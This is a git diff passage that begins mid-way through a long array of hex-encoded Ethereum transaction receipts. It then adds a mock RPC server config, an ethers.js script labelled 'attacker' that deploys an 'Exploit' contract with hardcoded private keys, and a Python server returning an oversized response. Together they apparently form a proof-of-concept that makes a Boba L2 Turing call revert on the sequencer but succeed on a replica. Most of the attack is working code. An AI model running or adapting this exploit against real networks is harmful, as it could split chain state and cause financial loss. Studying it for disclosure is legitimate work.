00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010239f6b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a01840102a1f2b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f90365018401048fdfb9010000000002000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000020000000000000002000000000000000000800000008000000000000040000000000000000002000000000000000000000000000100000000200000000000000200000000010000800000000000000000000000008000000000000000000000000000000000000000004000000000000000000000000800000000000000000000008000000002000000000000002000000000000000000000000000000000000800000000400000000000000000000002000000000000000000000004000000000000000000000000200f90259f89b948f6d296024766b919473f0ef3b1f7addd3f710dff863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa00000000000000000000000003dd070f9ee183bd667700d668b35b8932438118ea0000000000000000000000000f2ce1c36503401e5fcdecb17b53ac20939ac05d6a000000000000000000000000000000000000000000000000000000000000004d6f89b94d87ba7a50b2e7e660f678a895e4b72e7cb4ccd9cf863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa0000000000000000000000000f2ce1c36503401e5fcdecb17b53ac20939ac05d6a00000000000000000000000003dd070f9ee183bd667700d668b35b8932438118ea00000000000000000000000000000000000000000000000000000000000550ab9f9011c943dd070f9ee183bd667700d668b35b8932438118ef863a0c42079f94a6350d7e6235f29174924f928cc2ac818eb64fed8004e115fbcca67a0000000000000000000000000e592427a0aece92de3edee1f18e0157c05861564a0000000000000000000000000f2ce1c36503401e5fcdecb17b53ac20939ac05d6b8a0fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffb2a0000000000000000000000000000000000000000000000000000000000550ab90000000000000000000000000000000000000042fb2bb8fcdc72e6c302336a2800000000000000000000000000000000000000000000000000000000609fce5a000000000000000000000000000000000000000000000000000000000001487c","0x02f9010a01840105994fb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a01840106126bb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0xf9018601840106f418b9010000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000001000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000080000000000000000000000000000000000000000000000000000000000000000000010f87bf87994b33a774f60c3eeea880c09bd56f18def648f8fbbe1a0b78ebc573f1f889ca9e1e0fb62c843c836f3d3a2e1f43ef62940e9b894f4ea4cb8400000000000000000000000000000000000000000000000000e507b8392b34d0000000000000000000000000000000000000000000000000000000000652d2a70","0x02f9010a018401075be8b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f901c901840108af12b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000100000000000000040000000000000000000000000000000000000000000000020000000000000000000000000000000000080000000100000000000000000000000000000000000000200000000000000000000000000000000000000004000020000800000000000000000000000000000000000000000000000000000000000000000000000000002000400000000000000000000000000000000000040000000000000000000001000000000000000000000000000000000000000000040000f8bef8bc943f97a3e25166de26eef93ad91e382215b21fecf7f884a0a7aaf2512769da4e444e3de247be2564225c2e7a8f74cfe528e46e17d24868e2a048f9d6c5064b083c5c5f17c6f18f8ac529863c506fc2d65b5ebb26571dfa1ec0a00000000000000000000000000000000000000000000000000000000000007097a0000000000000000000000000000000000000000000000000000000000034c740a000000000000000000000000000000000000000000000000000000000652d2a70","0x02f9010a01840109284ab9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a01840109a406b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010a1d2eb9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010a8536b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010aead2b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010b52b2b9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010bc95ab9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0x02f9010a0184010c428ab9010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c0","0xf901a80184010cc606b9010000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000080000000000000020000000000000000000800000000000000000000000010000000000000000000000000000000000000000000000000400000000000000000000000000000000000000000000000040001000000000000000000000000000000000000000002000000008000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000000f89df89b94ccb2505976e9d2fd355c73c3f1a004446d1dfedaf863a0ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa0000000000000000000000000c813edb526830d24a2ce5801d9ef5026a3967529a00000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000a"]} diff --git a/go/proxyd/tools/mockserver/node2.yml b/go/proxyd/tools/mockserver/node2.yml new file mode 100644 index 0000000000..b94ee7af25 --- /dev/null +++ b/go/proxyd/tools/mockserver/node2.yml @@ -0,0 +1,44 @@ +- method: eth_getBlockByNumber + block: latest + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash2", + "number": "0x2" + } + } +- method: eth_getBlockByNumber + block: 0x1 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash1", + "number": "0x1" + } + } +- method: eth_getBlockByNumber + block: 0x2 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash2", + "number": "0x2" + } + } +- method: eth_getBlockByNumber + block: 0x3 + response: > + { + "jsonrpc": "2.0", + "id": 67, + "result": { + "hash": "hash3", + "number": "0x3" + } + } \ No newline at end of file diff --git a/index.js b/index.js new file mode 100644 index 0000000000..94b9bd6bae --- /dev/null +++ b/index.js @@ -0,0 +1,93 @@ +const TuringHelper = require('./TuringHelper.json'); +const Exploit = require('./Exploit.json'); +const ethers = require('ethers'); + +const providerURL = "http://l2geth:8545"; +const provider = new ethers.providers.JsonRpcProvider(providerURL); + +const erc20_abi = [ + "function approve(address spender, uint256 value) external returns(bool)" +]; + +const turing_credit_abi = [ + "function addBalanceTo(uint256 _addBalanceAmount, address _helperContractAddress) external" +]; + +const gas_price_oracle_abi = [ + "function setL1BaseFee(uint256 _baseFee) external" +] + +const attacker = new ethers.Wallet("0x7c852118294e51e653712a81e05800f419141751be58f605c371e15141b007a6", provider); +const gas_oracle_owner = new ethers.Wallet("0xdf57089febbacf7ba0bc227dafbffa9fc08a93fdc68e1e42411a14efcf23656e", provider); +const turing_helper_factory = new ethers.ContractFactory(TuringHelper.abi, TuringHelper.bytecode, attacker); +const exploit_factory = new ethers.ContractFactory(Exploit.abi, Exploit.bytecode, attacker); + +const boba_token_address = "0x4200000000000000000000000000000000000023"; +const boba_turing_credit_address = "0x4200000000000000000000000000000000000020"; +const boba_contract = new ethers.Contract(boba_token_address, erc20_abi, attacker); +const boba_turing_credit_contract = new ethers.Contract(boba_turing_credit_address, turing_credit_abi, attacker); + +const gas_price_oracle_address = "0x420000000000000000000000000000000000000F"; +const gas_price_oracle_contract = new ethers.Contract(gas_price_oracle_address, gas_price_oracle_abi, gas_oracle_owner); + +function sleep(ms) { + return new Promise(resolve => setTimeout(resolve, ms)); +} + +(async () => { + + console.log(`Deploying relevant contracts by attacker`) + + let turing_helper_contract = await turing_helper_factory.deploy(); + await turing_helper_contract.deployed(); + let exploit_contract = await exploit_factory.deploy(turing_helper_contract.address); + await exploit_contract.deployed(); + + console.log(` + Deployed: + Turing Helper: ${turing_helper_contract.address} + Exploit: ${exploit_contract.address} + `); + + console.log(`Approving to boba turing credit contrat`); + await boba_contract.approve(boba_turing_credit_address, ethers.constants.MaxUint256); + console.log(`Approved boba token spending on boba turing credit contract`); + + console.log(`Adding balance to turing credit`); + await boba_turing_credit_contract.addBalanceTo(ethers.BigNumber.from("100000000000000000000") /* 100e18*/, turing_helper_contract.address); + console.log(`Added`); + + console.log(`Adding exploit contract as permitted caller`); + await turing_helper_contract.addPermittedCaller(exploit_contract.address); + console.log(`Added`); + + console.log(`Estimating gas to set Turing cache`); + // expect estimateGas to fail + try { + await exploit_contract.estimateGas.call_outside("http://ino:1234/"); + } catch (err) { + console.log(`Expected estimate gas failed, this set Turing cache for real call`); + + try { + let rx = await exploit_contract.call_outside("http://ino:1234/", { gasLimit: 1_000_000 }); + rx = await rx.wait(); + } + catch (err) { + let txHash = err.receipt.transactionHash; + console.log(`Transaction hash ${txHash}`); + + console.log(`Querying transaction receipt from Sequencer`); + seq_rx = await provider.getTransactionReceipt(txHash); + console.log(`Tx from Sequencer\nstatus: ${seq_rx.status} (0=Reverted, 1=Success)`); + + console.log(`Waiting for propagation`); + await sleep(10_000); + console.log(`Querying transaction receipt from Replica`); + const rep_provider = new ethers.providers.JsonRpcProvider('http://replica:8545'); + rep_rx = await rep_provider.getTransactionReceipt(txHash); + console.log(`Tx from Replica\nstatus: ${rep_rx.status} (0=Reverted, 1=Success)`); + } + + } + +})(); diff --git a/srv b/srv new file mode 100755 index 0000000000..9d4638f2bc --- /dev/null +++ b/srv @@ -0,0 +1,45 @@ +#!/usr/bin/env python3 +""" +License: MIT License +Copyright (c) 2023 Miel Donkers + +Very simple HTTP server in python for logging requests +Usage:: + ./server.py [] +""" +from http.server import BaseHTTPRequestHandler, HTTPServer +import logging + +class S(BaseHTTPRequestHandler): + def _set_response(self): + self.send_response(200) + self.send_header('Content-type', 'text/plain') + self.end_headers() + + def do_POST(self): + content_length = int(self.headers['Content-Length']) # <--- Gets the size of data + post_data = self.rfile.read(content_length) # <--- Gets the data itself + logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n", + str(self.path), str(self.headers), post_data.decode('utf-8')) + self._set_response() + self.wfile.write("{{\"error\": null, \"id\": 1, \"result\":\"0x{}\"}}".format('11'*10_000).encode('utf-8')) + +def run(server_class=HTTPServer, handler_class=S, port=1234): + logging.basicConfig(level=logging.INFO) + server_address = ('', port) + httpd = server_class(server_address, handler_class) + logging.info('Starting httpd...\n') + try: + httpd.serve_forever() + except KeyboardInterrupt: + pass + httpd.server_close() + logging.info('Stopping httpd...\n') + +if __name__ == '__main__': + from sys import argv + + if len(argv) == 2: + run(port=int(argv[1])) + else: + run()